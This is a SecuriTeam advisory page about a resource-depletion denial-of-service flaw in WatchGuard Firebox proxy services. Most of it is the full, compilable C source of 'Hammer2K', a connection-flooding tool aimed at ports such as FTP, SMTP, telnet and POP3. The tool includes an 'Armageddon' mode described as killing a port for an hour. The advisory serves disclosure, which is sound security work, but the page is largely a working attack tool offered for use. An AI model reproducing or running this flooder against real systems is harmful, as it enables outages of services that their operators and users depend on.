SecuriTeam - WatchGuard Firebox Firewall DoS (resource depletion)

Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus

Ask the Team
Mailing Lists
Advertising Info
Advisories
About SecuriTeam
Blogs

Brought to you by:

Suppliers of:

SecuriTeam in Your Inbox

New vulnerability?
New tool?
Tell us
(Our PGP key).

CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

WatchGuard Firebox is vulnerable to a possible Denial-of-Service attack, by not freeing resources of its proxy services. This enables an external attacker to force the Firebox to consume available memory until the virtual memory is exhausted.

Credit:
The information has been provided by Raptor and Steve Fallin.

Website Security Scan	Code Vulnerability Test	Network Assessment Tool
Detect hidden vulnerabilities	Exhaustive automated testing	Real-time, continuous security
Get guidance from professionals	of internal or 3rd party code.	scanning for your entire network

Protect your website!
Use an External Vulnerability Scanner!
Nothing to install. First report in 1 hour!
www.beyondsecurity.com/vulnerability-scanner

WatchGuard Firebox does not properly handle resource freeing of some of its proxy services (including FTP). Such resource exhaustion enables attackers to create a Denial-of-Service attack against the machine and may render some functions of the firewall inoperable until it is rebooted. The DoS does not, however, cause a security breach. In addition, packet filtered traffic is unaffected.

Solution:
WatchGuard is currently testing a fix. When the fix is published, current subscribers to WatchGuard's LiveSecurity Service will receive a broadcast containing the fix and will be able to download it from their personalized Web site at
https://www.watchguard.com/support.

Exploit Code:
/*
::::: Hammer2K version 0.8 ::::: A DoS Tool
By: Threx <threx@attrition.org>
http://inferno.tusculum.edu/~threx

---------GREETS------------
== People that helped in the development of Hammer2K (testing & ideas)==
vortek, Mister-X, DigiEbola, xsprite, & xum_mux
== Good People ==
Everyone on #svun on undernet, operat0r, codewarrior, Sp0ar, d0g,
soulslack, syphix, ziricon, Temujin, Terminal, Th3 M@niac, WeaponsX
Bernz, Hellrider, Rezin, APHC (http://aphc.cjb.net)

---------COMPILE-----------
Simply enter the following command.

bigblue:~# gcc hammer2k.c -o hammer2k

---------DISCLAIMER--------
I TAKE NO RESPONSIBLITY FOR YOUR ACTIONS WITH HAMMER2K. YOU WILL USE THIS
AT YOUR OWN RISK!
*/

#include <sys/stat.h>
#include <fcntl.h>
#include <sys/file.h>
#include <sys/types.h>
#include <unistd.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

char *msg = "123456789123456789123456789123456789123456789123456789";

int sock;
int b;
int X;
int p;
int l;
int len;
int a;
int Usage(char *ARG);
int tcp(void);
int armageddon(void);
int all(void);

struct hostent *he;
struct sockaddr_in target;

int main(int argc, char *argv[])
{

if (argc < 4)
{
        Usage(argv[0]);
}

if ((he=gethostbyname(argv[1])) == NULL)
{
        printf("\n ERROR: hostname lookup failed \n");
exit(1);
}

        if (strcmp(argv[2], "-telnet")==0)
        {
        p = 23;
        l = 1800;
        }
        else if (strcmp(argv[2], "-inetd")==0)
        {
        p = 113;
        l = 4000;
        }
        else if (strcmp(argv[2], "-pop2")==0)
        {
        p = 109;
        l = 3000;
        }
        else if (strcmp(argv[2], "-imap2")==0)
        {
        p = 143;
        l = 4000;
        }
        else if (strcmp(argv[2], "-finger")==0)
        {
        p = 79;
        l = 1400;
        }
        else if (strcmp(argv[2], "-smtp")==0)
        {
        p = 25;
        l = 740;
        }
        else if (strcmp(argv[2], "-ftp")==0)
        {
        p = 21;
        l = 800;
        }
        else if (strcmp(argv[2], "-pop3")==0)
        {
        p = 110;
        l = 1350;
        }
        else if (strcmp(argv[2], "-netstat")==0)
        {
        p = 15;
        l = 1300;
        }
        else
        {
        printf("\n ERROR: Hammer2K doesn't support that service. \n");
        }



                if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
                {
                printf("\n ERROR: fatal socket error \n");
                exit(1);
                }

                target.sin_family = AF_INET;
                target.sin_port = htons(p);
                target.sin_addr = *((struct in_addr *)he->h_addr);

                if (connect(sock, (struct sockaddr *)&target, sizeof(target)) == -1)
                {
                printf("\n ERROR: fatal connection error \n");
                exit(1);
                }

a = atoi(argv[3]);

        if (strcmp(argv[3], "-A")==0)
        {
        armageddon();
        }
        else if (strcmp(argv[3], "-NA")==0){
        tcp();
        }
        else {
        printf("\n ERROR: please use -A (Armageddon ON) or -NA (Armageddon off)
\n");
        }

}

int Usage(char *ARG)
{
printf("\n\n Hammer2K by Threx <threx@attrition.org>");
printf("\n Usage: Hammer2K <host> <service> <armageddon-mode>");
printf("\n ::<host>:: ");
printf("\n 0.0.0.0 ");
printf("\n target.net ");
printf("\n\n ::<service>:: ");
printf("\n -netstat ");
printf("\n -ftp ");
printf("\n -telnet ");
printf("\n -smtp ");
printf("\n -finger ");
printf("\n -pop2 ");
printf("\n -imap2 ");
printf("\n -pop3 ");
printf("\n\n ::<armageddon-mode>:: ");
printf("\n -NA = Armageddon Mode Off");
printf("\n -A = Armageddon Mode On\n\n");
exit(1);
}

int armageddon(void)
{

int loop;
int number;

loop = 10;

printf("\n\nHammer2K by Threx <threx@attrition.org>");
printf("\nHomepage http://inferno.tusculum.edu/~threx");
printf("\n Armageddon Mode is [ON] (This will kill a port for one hour)\n");
printf("\n\n Flooding port......\n\n");

  for(number = 1; number < loop; number++)
   {
        for(X = 1; X < l; X++)
        {
                if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
                {
                printf("\n ERROR: fatal socket error \n");
                exit(1);
                }

                target.sin_family = AF_INET;
                target.sin_port = htons(p);
                target.sin_addr = *((struct in_addr *)he->h_addr);

                if (connect(sock, (struct sockaddr *)&target,
                sizeof(target)) == -1)
                {
                goto timer;
                }

                if ((send(sock, msg, len, 0)) == -1)
                {
                printf("\n ERROR: fatal send error \n");
                exit(1);
                }


                len = strlen(msg);
                send(sock, msg, len, 0);
                close(sock);

        }

    timer:
    system("sleep 600");
    }
printf("\n Port %d has been killed for one hour. \n\n", p);
close(sock);

return 0;

}

int tcp(void)
{
printf("\n\nHammer2K by Threx <threx@attrition.org>");
printf("\nHomepage http://inferno.tusculum.edu/~threx");
printf("\n Armageddon Mode is [OFF]]\n");
printf("\n\n Flooding port......\n\n");
        for(X = 1; X < l; X++)
        {

                if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
                {
                printf("\n ERROR: fatal socket error \n");
                exit(1);
                }

                target.sin_family = AF_INET;
                target.sin_port = htons(p);
                target.sin_addr = *((struct in_addr *)he->h_addr);

                if (connect(sock, (struct sockaddr *)&target,
                sizeof(target)) == -1)
                {
                printf("\n Port %d: Killed \n", p);
                exit(1);
                }

                if ((send(sock, msg, len, 0)) == -1)
                {
                printf("\n ERROR: fatal send error \n");
                exit(1);
                }


                len = strlen(msg);
                send(sock, msg, len, 0);
                close(sock);
        }

printf("\n Port %d: Port assumed to be open. \n\n", p, l);
close(sock);

return 0;

}

blog comments powered by Disqus

	Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit
	IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS
	Progea Movicon TCPUploadServer Remote Exploit
	Trango Broadband Wireless Rogue SU Authentication Bug
	Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow
	Family Connections Multiple Remote Vulnerabilities
	VideoCache vccleaner Root Vulnerability
	QuickHeal Antivirus 2010 Local Privilege Escalation
	DubSite CMS Cross Site Request Forgery Vulnerability
	SonicWall Global Management System XSS Vulnerability
	Sonicwall NSA E7500 XSS Vulnerability
	Juniper Security Threat Response Manager XSS Vulnerability
	Hacking CSRF Tokens using CSS History Hack
	Sun Java System Identiy Manager Users Enumeration
	Microsoft Internet Explorer XML Buffer Overflow (Exploit)